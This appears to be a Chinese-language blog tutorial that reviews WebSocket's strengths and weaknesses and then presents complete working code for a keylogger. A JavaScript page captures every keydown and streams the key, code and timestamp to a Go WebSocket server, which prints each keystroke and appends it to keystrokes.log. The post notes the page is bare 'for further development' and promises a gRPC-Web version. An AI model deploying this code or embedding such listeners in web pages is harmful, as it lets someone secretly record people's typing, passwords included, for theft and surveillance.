WebSocket 特性详解
优点
- 实时性强：在传统的 HTTP 通信中，客户端和服务器之间的通信是半双工的，即客户端发送请求，服务器响应请求。这种方式在处理实时数据时存在一定的延迟，因为需要等待客户端发送请求才能获取新的数据。而 WebSocket 则不同，它允许服务器和客户端之间进行实时的双向通信。当用户按下键盘上的某个按键时，按键事件会立即通过 WebSocket 连接传输到服务器，无需等待批量发送。这种实时性使得 WebSocket 非常适合需要即时反馈的应用场景，如在线游戏、实时监控等。
- 低延迟：由于 WebSocket 采用了长连接的方式，避免了每次通信都需要建立新连接的开销，因此具有较低的延迟。在高频数据传输的场景下，如键盘记录器，低延迟可以确保按键事件能够及时准确地传输到服务器，不会出现明显的延迟或丢包现象。这对于需要精确记录用户操作的应用来说非常重要。
- 全双工通信：全双工通信意味着服务器和客户端可以同时进行数据传输，而互不干扰。在键盘记录器的应用中，服务器不仅可以实时接收客户端发送的按键数据，还可以主动向客户端推送其他指令，如暂停记录、恢复记录等。这种双向通信的能力为应用的开发提供了更多的灵活性和可能性。
缺点
- 需要维护长连接，服务端资源消耗较高：由于 WebSocket 采用了长连接的方式，服务器需要为每个连接的客户端维护一个持续的连接。这意味着服务器需要消耗更多的系统资源，如内存、CPU 等，来处理这些连接。特别是在高并发的情况下，服务器的资源消耗会显著增加。因此，在使用 WebSocket 时，需要对服务器的性能进行合理的评估和优化。
- 需手动处理 JSON 序列化 / 反序列化：在 WebSocket 通信中，数据通常以 JSON 格式进行传输。因此，在客户端和服务器之间进行数据交换时，需要手动处理 JSON 数据的序列化和反序列化。序列化是将对象转换为 JSON 字符串的过程，反序列化则是将 JSON 字符串转换为对象的过程。虽然大多数编程语言都提供了相关的库来处理 JSON 数据，但手动处理这些过程仍然会增加开发的复杂度和工作量。
实现步骤
HTML + JS 代码实现前端
前端代码的主要功能是监听用户的键盘事件，并将按键数据通过 WebSocket 连接发送到服务器。以下是具体的实现代码：
<!DOCTYPE html>
<html>
<body>
<script>
const ws = new WebSocket('ws://localhost:8080/ws');
document.addEventListener('keydown', (e) => {
ws.send(JSON.stringify({
key: e.key,
code: e.code,
timestamp: Date.now()
}));
});
ws.onerror = (err) => {
console.error('WebSocket 错误:', err);
};
</script>
</body>
</html>
代码解释：
const ws = new WebSocket('ws://localhost:8080/ws');：创建一个 WebSocket 连接，连接到本地服务器的 ws://localhost:8080/ws 地址。document.addEventListener('keydown', (e) => { ... });：监听页面的键盘按下事件，当用户按下键盘上的某个按键时，触发回调函数。ws.send(JSON.stringify({ ... }));：将按键数据（包括按键名称、按键代码和时间戳）转换为 JSON 字符串，并通过 WebSocket 连接发送到服务器。ws.onerror = (err) => { ... };：处理 WebSocket 连接错误，当连接出现错误时，将错误信息打印到控制台。
Go + WebSocket 库实现后端接收服务器
后端代码的主要功能是接收客户端发送的按键数据，并将其打印到控制台和记录到日志文件中。以下是具体的实现代码：
package main
import (
"encoding/json"
"log" "net/http" "os" "time"
"github.com/gorilla/websocket")
var upgrader = websocket.Upgrader{
CheckOrigin: func(r *http.Request) bool { return true },
}
type KeyLog struct {
Key string `json:"key"`
Code string `json:"code"`
Timestamp int64 `json:"timestamp"`
}
func main() {
http.HandleFunc("/ws", handleWebSocket)
log.Fatal(http.ListenAndServe(":8080", nil))
}
func handleWebSocket(w http.ResponseWriter, r *http.Request) {
conn, err := upgrader.Upgrade(w, r, nil)
if err != nil {
log.Println("升级到 WebSocket 失败:", err)
return
}
defer conn.Close()
for {
_, msg, err := conn.ReadMessage()
if err != nil {
log.Println("读取消息失败:", err)
break
}
var logData KeyLog
if err := json.Unmarshal(msg, &logData); err != nil {
log.Println("解析 JSON 失败:", err)
continue
}
log.Printf("[+]Key: %s, Code: %s, Timestamp: %d\n", logData.Key, logData.Code, logData.Timestamp)
saveToFile(logData)
}
}
func saveToFile(logData KeyLog) {
logLine := time.Unix(0, logData.Timestamp*int64(time.Millisecond)).Format("2006-01-02 15:04:05") +
" Key: " + logData.Key + " Code: " + logData.Code + "\n"
file, err := os.OpenFile("keystrokes.log", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
log.Printf("打开文件失败: %v", err)
return
}
defer file.Close()
if _, err := file.WriteString(logLine); err != nil {
log.Printf("写入文件失败: %v", err)
}
}
代码解释：
var upgrader = websocket.Upgrader{ ... };：创建一个 WebSocket 升级器，用于将 HTTP 连接升级为 WebSocket 连接。type KeyLog struct { ... };：定义一个结构体 KeyLog，用于存储按键数据。http.HandleFunc("/ws", handleWebSocket);：注册一个 HTTP 处理函数，当客户端访问 /ws 路径时，调用 handleWebSocket 函数。conn, err := upgrader.Upgrade(w, r, nil);：将 HTTP 连接升级为 WebSocket 连接。for { ... }：进入一个无限循环，实时接收客户端发送的消息。_, msg, err := conn.ReadMessage();：读取客户端发送的消息。if err := json.Unmarshal(msg, &logData); err != nil { ... }：将接收到的 JSON 数据反序列化为 KeyLog 结构体。log.Printf("[+]Key: %s, Code: %s, Timestamp: %d\n", logData.Key, logData.Code, logData.Timestamp);：将按键数据打印到控制台。saveToFile(logData);：将按键数据写入日志文件。
运行效果
页面中所有的键盘操作都将被实时打印并记录在文件中。运行上述代码后，打开 HTML 文件，在页面中按下键盘上的任意按键，你将在服务器的控制台看到相应的按键信息，同时这些信息也会被记录到 keystrokes.log 文件中。以下是运行效果的截图：
当前html页面没有添加任何界面效果，后续可以用于自行开发
除了 WebSocket 技术，我们还可以使用 gRPC-Web 技术来实现同样功能的键盘记录器。gRPC-Web 结合了 gRPC 的高性能和 Web 技术的灵活性，能够提供更强大的远程过程调用能力。不过，由于 gRPC-Web 需要使用 Protocol Buffers（Protobuf）技术进行数据序列化和反序列化，实现过程相对复杂，涉及到 Protobuf 消息定义、服务接口定义、代码生成等多个步骤。我们会在后续的文章中详细介绍如何使用 gRPC-Web 技术来实现键盘记录器，敬请期待。
总结
通过本文的介绍，我们了解了 WebSocket 技术的特性和优缺点，并使用 Go 和 JavaScript 实现了一个简单的键盘记录器。WebSocket 技术为实时数据交互提供了一种高效、可靠的解决方案，非常适合需要实时响应的应用场景。。
发表于 2025-3-31 10:35
